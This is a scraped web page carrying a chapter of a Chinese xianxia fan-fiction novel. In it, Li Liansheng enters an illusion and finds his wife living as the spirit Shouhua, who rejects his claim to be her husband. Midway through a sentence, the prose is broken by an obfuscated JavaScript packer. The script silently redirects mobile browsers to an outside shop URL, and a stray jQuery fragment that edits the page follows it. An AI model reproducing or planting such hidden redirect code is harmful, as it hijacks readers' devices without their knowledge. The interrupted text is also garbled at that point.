文趣网 > 都市小说 > [西游哪吒]白骨生情花 > 53. 我是你夫君
    她睁开眼睛的瞬间,有人小声地哇了一声。

    那双眼睛清澈得像干净的泉水,带着初生婴儿般的好奇,又有一种说不出来的空灵。

    她眨了眨眼睛,目光从树下的人群缓缓扫过,李莲生心口一紧,手腕上那根看不见的红绳忽然烫了一下。

    她在看他,又不像在看他,像在看他手腕上无形的红绳。

    “寿华。”

    一个浑厚的声音从人群后面传来,弟子们纷纷让开,让出一条道来。

    一个白发苍苍的老道走到树下,面容清瘦,目光深邃,黄色的道袍穿着身上,有一种不怒自威的感觉。

    弟子纷纷行礼,“见过大仙。”

    大仙,人参果树,这里是万寿山的五庄观,他只在书上听说过的东西,如今得见,才知道传说不及真人的十分之一。

    树上的精灵闻言,转过头去看他,镇元大仙微微一笑,朝她伸出手,“从今日起,你便叫寿华。”

    “寿者,长也,华者,光彩也。你既是天地灵根所化,当不负此名。”

    寿华从树上飘然而下,赤着脚落在地上,穿着一身洁白如雪的衣裙,长发垂到腰际。

    李莲生看得有些愣,低头看了看自己的手腕,红绳还在发烫,像一根看不见的线,把他和她连在一起。

    他确定这就是他要找的人。

    他的妻子白兰若。或者说,寿华。

    他想接近寿华,但寿华被镇元大仙带走了。

    众弟子也随之散去,李莲生在道观里漫无目的地走着。

    不知不觉走到了后山一处僻静的角落,看见一个人蹲在墙角,背对着他,肩膀微微发抖。

    走近了才看清,那人穿着一身灰色道袍,袖口和下摆都有磨损的痕迹,头发用一根木簪随意挽着,背影看上去有些落寞。

    “你还好吗?”李莲生问。

    那人猛地抬起头,露出一张年轻的脸,眉目英挺,眼神里却带着几分惊惶。

    李莲生愣了一下,这张脸他见过。

    胡首。年轻时的胡首。

    胡首的样貌跟年轻时相差不大,而寿华跟现实中的白兰若不太一样,他只能通过红绳来确定。

    不过这是胡首的执念造就的幻境,这里有胡首也不奇怪。

    胡首看见他,慌忙站起身,往后退了两步,像是怕被其他人看见似的,“你、你别靠近我,让人看见就不好了。”

    “为什么?”

    胡首垂下眼,声音像泄了气一样,“因为我是妖精,镇元大仙收我做外门弟子,已然是天大的恩典,我不能给师傅添麻烦。”

    “若是让人知道你跟妖精走得近,会连累你和我一样受欺负的。”

    李莲生看着他,忽然觉得心里有些发酸。

    原来不可一世的大妖,年轻时也曾这样小心翼翼地活着。

    “我不怕连累。”李莲生说。

    胡首抬起头,眼睛一亮,很快又暗了下去。

    他摇摇头,“你不懂,这道观里的弟子大都出身名门正派,对妖怪恨之入骨。若是让他们知道,他们说不定我别有用心,到时候连外门弟子都做不成了。”

    他说完,转身快步走了,像一只被惊扰的兔子,消失在墙角后面。

    李莲生站在原地,看着他消失的方向,心中五味杂陈。

    接下来几日,李莲生在道观里东游西逛,一边熟悉环境,一边想着带走白兰若的办法。

    可每次他试图靠近寿华,就会被一股无形的力量弹开。

    红绳虽然指引他找到了白兰若,但他无法靠近,两人之间像有一堵无形的墙,把他们隔在两边。

    他渐渐发现,幻境里的时间并不是线性的。

    有时候,他走在路上,日头还在中间,一眨眼又到了黄昏。

    有时候他刚跟一个弟子说完话,一转头,那个人就不见了,像是从来没有存在过一样。

    幻境是下毒者的执念所化,这里的规则,大概也由下毒者的执念决定。

    不是寿华不让他靠近,其实是胡首不想让他靠近寿华。

    可他想不通为什么。

    直到有一天傍晚,他在后山的溪边看见了胡首和寿华。

    寿华蹲在溪边,手里捧着一大片叶子,正小心翼翼地往上面放着什么东西。

    胡首站在她身前,手里拿着一根削尖的树枝,专注地在水里戳来戳去,像在叉鱼。

    “你又没叉中。”寿华的声音带着笑意,清脆得像是溪水撞击石头。

    胡首露出一个有些窘迫的表情,“这鱼太滑了。”

    “是你手太笨了。”

    “我手不笨,是鱼太聪明了。”

    寿华笑出声来,笑声像风吹过风铃,清脆悦耳。

    她站起身,把手里的大叶子递给胡首,“你看,我摘了些野菜,不吃鱼也行。”

    胡首接过叶子,有些受宠若惊,低头看了看,又抬头看她,目光里带着李莲生熟悉的温柔。

    他看向白兰若时,也是这样的眼神。

    李莲生的脚步顿住了。

    他站在树后,看着那两人并肩坐在溪边,一边洗野菜,一边说话。

    寿华说她在树上看见的云彩,说她梦见的花海,说她有时候会想,山下的世界是什么样子。

    胡首安静地听着,偶尔插上一两句话,大多数时候也只是看着她笑。

    那一刻,李莲生忽然明白了什么。

    胡首的执念把白兰若困在了他最美好的回忆里。

    寿华是他的故人,他的执念,是他此生最放不下的人。

    可是真正的寿华到底在哪里,他不得而知。

    天色渐渐暗了下来,寿华和胡首收拾东西往回走。

    李莲生看着他们从自己面前经过,寿华的目光扫过他藏身的树丛,停顿了一瞬。

    她看见他了,她一直都看得见他。

    可她什么也没说,只是微微低下头,跟着胡首走了。

    李莲生靠着树干慢慢滑坐下来,抬头看着头顶那片被树叶切割成碎片的天空。

    胡首的执念似乎只愿意停留在某些片段,寿华在溪边洗菜的夜晚,寿华在树下打坐的清晨,寿华被众多弟子簇拥走过回廊的午后。

    这些片段反复上演,像是被谁精心挑选过,只留下最美好的部分,把那些伤心的、不好的、

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517020|203221||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    遗憾的,统统都藏了起来。

    可这些都不是真的。

    白兰若就是白兰若,她不是寿华,她被困在幻境里,被胡首的执念塑造成另一人的样子。

    他不能再等了。

    直到傍晚,寿华又一个人去了后山。

    胡首没来,只有她独自坐在溪边,赤着脚伸进水里,看着夕阳发呆,李莲生从树后走出来,径直朝她走过去。

    寿华听见脚步声,抬起头看见是他,愣了一下。

    她没有起身离开,只是歪着头看他,眼神里带着一点好奇,像在看一个不太讨厌的陌生人。

    “你又是哪个新来的弟子?”她问。

    李莲生在她身边蹲下来,看着她。

    夕阳的余晖撒在她脸上,眉眼柔和,唇角微弯,和记忆中的白兰若很像,但眼神不对。

    白兰若看他的时候,眼睛里是有光的。

    可眼前这双眼睛,清澈干净,却空空荡荡,像是山间的泉水,映得出人影,却留不住温度。

    “我不是新来的弟子。”李莲生说。

    寿华眨了眨眼,“那你是谁?”

    “我是你夫君。”

    寿华愣住了。

    那双清澈的眼睛里浮现出一丝困惑,像是没听明白,又像是听明白了但不知道怎么回应。

    沉默了好一会儿,她忽然笑了,摇摇头,“你别说笑了,我化形尚不到十年,也没有成过亲,哪来的夫君?”

    李莲生的心口像是被什么东西狠狠撞了一下。

    他知道幻境会改变她的记忆,但听到她亲口说出没有成过亲也没有夫君的时候,还是觉得很心痛。

    他们在一起度过的那些日子,在她的意识里,已经不存在了。

    “你叫白兰若,”李莲生盯着她的眼睛,一字一句地说,“你是栖霞镇的大夫,你在一个雨夜从河里救了一个人,那个人就是我。你对我有恩,我以身相许报答你的恩情,你说我是你娶回来的夫君。”

    寿华听着这些话,眉头皱了起来。

    她低头,看着自己在水里晃动的脚丫,淡然自若,“你说的这些,我都不记得。”

    “因为你现在被困在幻境里。”李莲生往前挪了半步,离她更近了些,“有人给你下了毒,你的元神被困在这里,外面的你已经昏迷好几天了。你跟我走,我带你出去。”

    寿华抬头看着他,眼神却变了,除了困惑,还多了几分警惕,像一只被惊扰的小兽,下意识想要后退。

    她往旁边挪了挪,拉开一点距离,声音也冷了下来。

    “你这个人好生奇怪,说的这些话我一句也听不懂。我没有中什么毒,我也没有昏迷,我一直都在这里,在五庄观,在师傅身边。”

    “那是假的。”李莲生急了,声音不自觉提高了些,“这里的一切都是假的,是胡首的执念造出来的幻境。”

    “你不是寿华,你是白兰若,你是我的妻子,你跟我回去——”

    “够了!”

    寿华猛地站起身,水花溅上了岸,溅了李莲生一身。

    她退后两步,脸上的表情变成了愤怒,那双清澈的眼睛里也燃起了火光。